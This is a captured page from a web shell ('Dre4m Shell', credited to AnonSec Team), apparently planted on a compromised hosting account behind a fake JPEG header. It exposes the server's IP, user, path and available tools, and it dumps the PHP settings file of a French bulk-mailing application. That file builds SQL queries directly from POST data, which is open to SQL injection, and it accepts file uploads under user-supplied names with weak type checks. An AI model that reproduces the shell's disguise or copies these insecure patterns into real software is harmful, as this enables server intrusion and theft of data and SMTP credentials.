ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/settings/_settings.php
<?php
if(isset($_GET['delimglogo'])){
	unlink("uploadfiles/".$_SET['imglogo']);
	mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."settings SET imglogo ='' WHERE id = 1 LIMIT 1");
	?>
   		<script type="text/javascript">
			document.location.href="?settings&setgeneral";
		</script>
<?php }
if(isset($_GET['delunsublogo'])){
	unlink("uploadfiles/".$_SET['unsub_logo']);
	mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."settings SET unsub_logo ='' WHERE id = 1 LIMIT 1");
	?>
   		<script type="text/javascript">
			document.location.href="?settings&setgeneral";
		</script>
<?php }elseif(isset($_GET['default'])){
	$query = "UPDATE ".$INFO['sql_tbl_prefix']."settings SET
	lang = 'gb.php',
	rtl = 0, 
	email_from = '{$INFO['email_from']}',
	numberemail = 50,
	timeemail = 2,
	packtimeemail = 20,
	titlefrom = 'FES',
	imglogo = '',
	users_page = 1000,
	archive_page = 10,
	task_page = 20,
	unsub_url = '{$INFO['base_url']}',
	unsub_logo = '',
	number_feature =  3,
	testing_email = '',
	testing_email_enable = '0',
	debug_mode = 0
	WHERE id =1 LIMIT 1
	"; 
	mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
	
	 mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs 
			 (id, id_type, id_user, ip, ddate, url, message) 
			 VALUES 
			 ('', '4', '{$_SESSION['id']}','{$ip}','".time()."', '".$_SERVER['REQUEST_URI']."', 'User {$_SESSION['user']} has set the default settings')");
			 
	?>
    	<script type="application/javascript">
			document.location.href="?settings&setgeneral";
		</script> 
<?php
}
if(count($_POST) && ($_SESSION['PERM'][9]['e'] == 1)){
	$error='';
	if(substr(trim($_POST['unsub_url']), 0, 7)!='http://' ) {
		$_POST['unsub_url'] = 'http://'.$_POST['unsub_url'];
	}else{
		$_POST['unsub_url'] = $_POST['unsub_url'];
	}

	$type = end(explode(".",$_FILES['imglogo']['name']));
	$setting_logo=unserialize($_SESSION['setting_logo']);
	$mime = unserialize($_SESSION['mime']);
	if(array_search($type,$mime)){
		$logo_in = array_search($type,$mime);
	}else{
		$logo_in = -1;
	};

	
	$filename = $_SET['imglogo'];
	$testing_email_enable = '0';
	if(isset($_POST['testing_email_enable'])) $testing_email_enable = 1;
	if($_FILES['imglogo']['size']>0){
							if(in_array($logo_in,$setting_logo)){
								$filename = $_FILES['imglogo']['name'];
								$name_file=$filename;
								$ext = strtolower(array_pop(explode(".", $filename)));
								$name_file = time()."_".$name_file;
								$file = "uploadfiles/".$name_file;  
								copy($_FILES['imglogo']['tmp_name'], $file);
								$filename = $name_file;
							}else{
								$error .= "<div class='alert alert-error'>".__('Logotype').": ".__('invalid file type')."</div>";	
							}
	}
	$unsub_logo = $_SET['unsub_logo'];
	$type = end(explode(".",$_FILES['unsub_logo']['name']));
	if(array_search($type,$mime)){
		$logo_in = array_search($type,$mime);
	}else{
		$logo_in = -1;
	};	
	if($_FILES['unsub_logo']['size']>0){
							if(in_array($logo_in,$setting_logo)){
								$unsub_logo = $_FILES['unsub_logo']['name'];
								$name_file=$unsub_logo;
								$ext = strtolower(array_pop(explode(".", $unsub_logo)));
								$name_file = time()."_".$name_file;
								$file = "uploadfiles/".$name_file;  
								copy($_FILES['unsub_logo']['tmp_name'], $file);
								$unsub_logo = $name_file;
							}else{
								$error .= "<div class='alert alert-error'>".__('Logotype').":2 ".__('invalid file type')."</div>";		
							}
	}	
	if(isset($_POST['rtl'])){ $rtl = 1;}else{$rtl = 0;}
	if(isset($_POST['debug_mode'])){ $debug_mode = 1;} else {$debug_mode =0;}
	if(isset($_POST['reg'])){ $reg = 1;}else{ $reg = 0;}
	if(isset($_POST['auto_lang'])) {$auto_lang = 1;}else {$auto_lang = 0;}
	if(empty($error)){
	mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."settings SET lang ='{$_POST['lang']}',
	 imglogo ='{$filename}', rtl = '{$rtl}', email_from ='{$_POST['emailFrom']}',
	 numberemail = ".(0+$_POST['numberemail']).", timeemail = ".(0+$_POST['timeemail']).",
	 packtimeemail= ".(0+$_POST['packtimeemail']).", titlefrom = '{$_POST['titlefrom']}',
	 users_page = '{$_POST['users_page']}', archive_page ='{$_POST['archive_page']}',
	 task_page = '{$_POST['task_page']}', unsub_url= '{$_POST['unsub_url']}',
	 unsub_logo = '{$unsub_logo}', number_feature = '{$_POST['number_feature']}',
	 testing_email = '{$_POST['testing_email']}', testing_email_enable='{$testing_email_enable}',
	 mail_method = '{$_POST['mail_method']}',
	 text_html = '{$_POST['text_html']}',
	 smtp_host = '{$_POST['smtp_host']}',
     smtp_port = '{$_POST['smtp_port']}',
	 smtp_user = '{$_POST['smtp_user']}',
	 smtp_pass = '{$_POST['smtp_pass']}',
	 smtp_auth = '{$_POST['smtp_auth']}',
	 php_mail_extra = '{$_POST['php_mail_extra']}',
	 timezone = '{$_POST['time_zone']}',
	 debug_mode = '{$debug_mode}',
	 auto_lang = '{$auto_lang}',
	 reg = '{$reg}',
	 google = '".htmlspecialchars($_POST['google'])."'
	 WHERE id = 1 LIMIT 1") or exit(mysql_error());
		mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."user_groups SET reg_group = 0");
		if(isset($_POST['reg_group'])){
			mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."user_groups SET reg_group = 1 WHERE id = {$_POST['reg_group']} LIMIT 1");
		}
	?>
   		<script type="text/javascript">
			document.location.href="?settings&setgeneral";
		</script>
    <?php }else{  
	echo $error;
     } ?>  
<?php } ?>
<form action="" method="post" class="form-horizontal" enctype="multipart/form-data">
<div class="well general" style="margin-top:0">
  <div class="control-group">
    <label class="control-label" for="titlefrom"><?php echo __('Title from');?></label>
    <div class="controls">
      <input type="text" id="titlefrom" name="titlefrom" style="width:100%" value="<?php echo  $_SET['titlefrom']?>">
    </div>
  </div>
	<div class="control-group">
    <label class="control-label" for="emailFrom"><?php echo __('E-mail from');?></label>
    <div class="controls">
      <input type="text" id="emailFrom" name="emailFrom" style="width:100%" value="<?php if(filter_var(trim($_SET['email_from']), FILTER_VALIDATE_EMAIL)){echo $_SET['email_from'];}else{echo $INFO['email_from'];}?>">
    </div>
  </div>
  <div class="control-group">
    <label class="control-label" for="number_feature"><?php echo __('Number of Feature');?></label>
    <div class="controls">
      <input type="text" id="number_feature" name="number_feature" style="width:100%" value="<?php echo  $_SET['number_feature']?>">
    </div>
  </div>
    <div class="control-group">
    <label class="control-label" for="testing_email"><?php echo __('Email for testing');?></label>
    <div class="controls">
      <input type="email" id="testing_email" name="testing_email" style="width:100%" value="<?php echo  $_SET['testing_email']?>">
    </div>
  </div>
  <div class="control-group">
    <label class="control-label" for="testing_email_enable"><?php echo __('Enable email for testing');?></label>
        <div class="controls">
            <div class="switch" tabindex="0">
                <input id="testing_email_enable" type="checkbox" name="testing_email_enable" <?php if($_SET['testing_email_enable'] == 1){?>checked="checked"<?php } ?> />
            </div>
        </div>
    </div>
    <div class="control-group">
    <label class="control-label" for="imglogo"><?php echo __('Logotype');?></label>
    <div class="controls">
      <input type="file" id="imglogo" name="imglogo" class="span6">
      <?php if(strlen($_SET['imglogo']) > 0 && filesize("uploadfiles/".$_SET['imglogo']) > 0){?><hr><img src="uploadfiles/<?php echo  $_SET['imglogo']?>" alt="" /> <a href="?settings&setgeneral&delimglogo" class="btn btn-small btn-danger"><i class="icon-remove"></i></a><?php } ?>
    </div>
  </div>
</div>
<div class="well reg">
    <div class="control-group">
        <label class="control-label" for="reg"><?php echo __('Registration');?></label>
        <div class="controls">
         <div class="switch" tabindex="0">
              <input type="checkbox" name="reg" <?php if($_SET['reg'] == 1){?>checked="checked"<?php } ?>>
         </div>
        </div>
      </div>
      <div class="control-group">
        <label class="control-label" for="reg_group"><?php echo __('Group for registration');?></label>
        <div class="controls">
          <select name="reg_group" id="reg_group" class="dropdown">
          	<?php $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."user_groups WHERE id NOT IN (1,2)");
				if(mysqli_num_rows($result)>0){
				while($group = mysqli_fetch_array($result)){ ?>
                <option value="<?php echo $group['id']?>" <?php if($group['reg_group'] == 1){?>selected="selected"<?php }?>><?php echo $group['name']?></option>
             <?php }} ?>   
            </select>
        </div>
      </div>	
</div>
<div class="well sending">
 <div class="control-group">
    <label class="control-label" for="numberemail"><?php echo __('Number e-mails in pack');?></label>
    <div class="controls">
      <input type="text" id="numberemail" name="numberemail" value="<?php echo $_SET['numberemail']?>">
    </div>
  </div>
    <div class="control-group">
    <label class="control-label" for="timeemail"><?php echo __('Time between sending e-mail, in seconds');?></label>
    <div class="controls">
      <input type="text" id="timeemail" name="timeemail" value="<?php echo  $_SET['timeemail']?>">
    </div>
  </div>
      <div class="control-group">
    <label class="control-label" for="packtimeemail"><?php echo __('Time of sending between packs e-mail, in seconds');?></label>
    <div class="controls">
      <input type="text" id="packtimeemail" name="packtimeemail" value="<?php echo  $_SET['packtimeemail']?>">
    </div>
  </div>
  <div class="control-group">
        <label class="control-label" for="text_html">Type mail par d&eacute;faut (conseill&eacute; : HTML)</label>
        <div class="controls">
          	<select name="text_html" id="text_html" class="dropdown">
                <option value="text" <?php if($_SET['text_html'] == 'text'){?>selected="selected"<?php }?>>text/plain</option>
                <option value="html" <?php if($_SET['text_html'] == 'html'){?>selected="selected"<?php }?>>HTML</option>
            </select>
        </div>
      </div>
  <div class="control-group">
        <label class="control-label" for="smtp_host"><?php echo __('Mail delivery method');?></label>
        <div class="controls">
          	<select name="mail_method" id="mail_method" class="dropdown">
                <option value="mail" <?php if($_SET['mail_method'] == 'mail'){?>selected="selected"<?php }?>>PHP Mail()</option>
                <option value="smtp" <?php if($_SET['mail_method'] == 'smtp'){?>selected="selected"<?php }?>>SMTP</option>
            </select>
          <span class="help-block">S&eacute;lectionner SMTP pour plus de rapidit&eacute;</span>
        </div>
      </div>	
</div>
<div class="well debug">
	<div class="control-group">
    <label class="control-label" for="debug_mode"><?php echo __('Debug mode');?></label>
    <div class="controls">
      <div class="switch" tabindex="0">
	      <input type="checkbox" name="debug_mode" <?php if($_SET['debug_mode'] == 1){?>checked="checked"<?php } ?>>
      </div>
      <span class="help-block">Affiche les erreurs du Script par d&eacute;faut : OFF</span>
    </div>
  </div>
</div>
<div class="well time">
	<div class="control-group">
    <label class="control-label" for="time_zone"><?php echo __('Time Zone Server');?></label>
    <div class="controls">
       <?php require_once('timezone_array.php');
	  	$serv_timezone =  date_default_timezone_get();
	   ?>
      <select name="time_zone" id="time_zone" class="dropdown">
       <?php 
	   	if(is_array($timezones) && isset($timezones)){
			foreach($timezones as $key=>$val){?>
            	<optgroup label="<?php echo $key?>">
                <?php foreach($val as $k=>$v){?>
				<option value="<?php echo $v?>" <?php if($serv_timezone == $v){?> selected="selected"<?php } ?>><?php echo $v;?></option>
                <?php } ?>
                </optgroup>
	<?php }
		}
		?>
	  </select> <span class="label"><?php echo date('H:i:s',time());?></span>
    </div>
  </div>
</div>
<div class="well smtp">
			<div class="row-fluid">
            <div class="span6">
             <div class="control-group">
                <label class="control-label" for="smtp_host"><?php echo __('Override SMTP host');?></label>
                <div class="controls">
                  <input type="text" id="smtp_host" name="smtp_host"  value="<?php if(isset($_SET['smtp_host'])) { echo  $_SET['smtp_host'];}else{ echo "localhost";}?>">
                  <span class="help-block">Entrez ici le nom du serveur SMTP de votre h&eacute;bergement ex. : computer.o2switch.net</span>
                </div>
              </div>
              <div class="control-group">
                <label class="control-label" for="smtp_port"><?php echo __('Override SMTP port');?></label>
                <div class="controls">
                  <input type="text" id="smtp_port" name="smtp_port"  value="<?php if(isset($_SET['smtp_port'])){ echo  $_SET['smtp_port'];}else{ echo "25";}?>">
                  <span class="help-block">D&eacute;faut o2Switch Ovh : 25 - Infomaniak : 587 </span>
                </div>
              </div>
              <div class="control-group">
                <label class="control-label" for="smtp_user"><?php echo __('SMTP username');?></label>
                <div class="controls">
                  <input type="text" id="smtp_user" name="smtp_user"  value="<?php if(isset($_SET['smtp_user'])){ echo  $_SET['smtp_user'];}?>">
                  <span class="help-block">Une adresse e-mail sur votre serveur ex. : noreply@mon_domaine.fr</span>
                </div>
              </div>  
                    <div class="control-group">
                <label class="control-label" for="smtp_pass"><?php echo __('SMTP password');?></label>
                <div class="controls">
                  <input type="password" id="smtp_pass" name="smtp_pass"  value="<?php if(isset($_SET['smtp_pass'])){ echo  $_SET['smtp_pass'];}?>">
                  <span class="help-block">Mot de passe de cette adresse e-mail</span>
                </div>
              </div>
                 <div class="control-group">
                 <label class="control-label" for="smtp_auth">SSL/TLS</label>
                 <div class="controls">
              <select name="smtp_auth" class="dropdown">
            	<option value="no" <?php if($_SET['smtp_auth'] == 'no'){?>selected="selected"<?php }?>>no</option>
            	<option value="ssl" <?php if($_SET['smtp_auth'] == 'ssl'){?>selected="selected"<?php }?>>SSL</option>
            	<option value="tsl" <?php if($_SET['smtp_auth'] == 'tsl'){?>selected="selected"<?php }?>>TSL</option>                                
            </select>
                  <span class="help-block">Laisser &agrave; : no</span>
                </div>
                </div>
              <div class="control-group">
                <div class="controls">
                    <a href="#" class="btn" onclick="return false;" id="test_smtp">Test SMTP</a>
                </div>
              </div> 
	      </div>
          <div class="span6">
          <div id="smtp_output"></div>       
          </div>
      </div>
</div>
<div class="well php">
<div class="control-group">
        <label class="control-label" for="php_mail_extra"><?php echo __('PHP mail extra options');?></label>
        <div class="controls">
          <input type="text" id="php_mail_extra" name="php_mail_extra"  value="<?php if(isset($_SET['php_mail_extra'])){ echo  $_SET['php_mail_extra'];}?>">
          <span class="help-block">Laisser vide...</span>
        </div>
      </div>  
</div>
<div class="well perpage" style="margin-top:0">
        <div class="control-group">
        <label class="control-label" for="users_page">E-mails (par page)</label>
        <div class="controls">
          <input type="text" id="users_page" name="users_page"  value="<?php echo  $_SET['users_page']?>">
        </div>
      </div>       
      <div class="control-group">
        <label class="control-label" for="archive_page"><?php echo __('Archive per page');?></label>
        <div class="controls">
          <input type="text" id="archive_page" name="archive_page"  value="<?php echo  $_SET['archive_page']?>">
        </div>
      </div>   
      <div class="control-group">
        <label class="control-label" for="task_page"><?php echo __('Task emails per page');?></label>
        <div class="controls">
          <input type="text" id="task_page" name="task_page"  value="<?php echo  $_SET['task_page']?>">
        </div>
      </div>       
</div>  
<div class="well unsub" style="margin-top:0">
        <div class="control-group">
        <label class="control-label" for="unsub_url"><?php echo __('URL to your site');?></label>
        <div class="controls">
          <input type="text" id="unsub_url" name="unsub_url"  value="<?php echo $INFO['base_url']?>">
        </div>
      </div>   
      <div class="control-group">
    <label class="control-label" for="unsub_logo"><?php echo __('Logotype');?></label>
    <div class="controls">
      <input type="file" id="unsub_logo" name="unsub_logo" class="span6">
      <?php if(strlen($_SET['unsub_logo']) > 0 && filesize("uploadfiles/".$_SET['unsub_logo']) > 0){?><hr><img src="uploadfiles/<?php echo  $_SET['unsub_logo']?>" alt="" /> <a href="?settings&setgeneral&delunsublogo" class="btn btn-small btn-danger"><i class="icon-remove"></i></a><?php } ?>
    </div>
  </div>      
</div>
<div class="well google">
	<div class="control-group">
        <label class="control-label" for="google"><?php echo __('Google Analytics');?></label>
        <div class="controls">
          <textarea rows="5" style="width:100%" id="google" name="google" class="font11"><?php echo $_SET['google']?></textarea>         
        </div>
    </div> 
</div> 




<div class="well lang" style="margin-top:0">

<!-- 	<div class="control-group">
          <label class="control-label" for="lang"><?php echo __('Language');?></label>
            <div class="controls">
            <div class="input-append">
            <select name="lang">
			<?php $lang_file = scandir($INFO['lang']);
                foreach($lang_file as $v){
                    if($v != '.' && $v != '..' && $v != '.DS_Store'){ ?>
                            <option <?php if($_SET['lang'] == $v){?> selected <?php }?> value="<?php echo  $v?>"><?php $st = explode(".",$v); echo strtoupper($st[0])?></option>
                        <?php } ?>			
            <?php } ?>
                      </select>
              <?php if($_SESSION['PERM'][14]['d'] == 1){?> <a href="?settings&edit_lang" class="btn"><?php echo __('Edit');?></a><?php } ?>  
              </div>
            </div>    
	</div>
-->	
    <div class="control-group">
    	<label class="control-label" for="rtl"><?php echo __('RTL Right-to-left');?></label>
        <div class="controls">
            <div class="switch" tabindex="0">
                  <input type="checkbox" name="rtl" <?php if($_SET['rtl'] == 1){?> checked<?php } ?>>
              </div>
        </div>
    </div>
    <div class="control-group">
    	<label class="control-label" for="auto_lang"><?php echo __('Automatic language detection from IP');?></label>
        <div class="controls">
            <div class="switch" tabindex="0">
                  <input type="checkbox" name="auto_lang" <?php if($_SET['auto_lang'] == 1){?> checked<?php } ?>>
              </div>
        </div>
    </div>
</div>  
<div class="well cron">
	<div class="control-group">
          <label class="control-label" for="style"><?php echo __('Path to Cron');?></label>
            <div class="controls">
            <input type="text" id="pcron" name="pcron" class="span6" readonly value="<?php echo substr($_SERVER['SCRIPT_FILENAME'],0,-9)."runtask.php";?>">
            </div><br>    
            <div class="alert alert-info">
            	<h5>Exemple de CRON vous concernant :<br />(<i>le CRON sert &agrave; programmer l'heure et la date d'envoi. Il se g&egrave;re chez l'h&eacute;bergeur.</i>)</h5>
<code>*/02 * * * * /usr/bin/php <?php echo substr($_SERVER['SCRIPT_FILENAME'],0,-9)?>runtask.php</code>
            </div>
   
	</div>
</div>
<div class="form-actions">
  <button type="submit" class="btn btn-primary <?php if($_SESSION['PERM'][9]['e'] == 0){?>disabled<?php } ?>"><?php echo __('Save');?></button>
  <a href="?settings&setgeneral&default" class="btn btn-primary"><?php echo __('Default Settings')?></a>
</div>   
</form>

Anon7 - 2022
AnonSec Team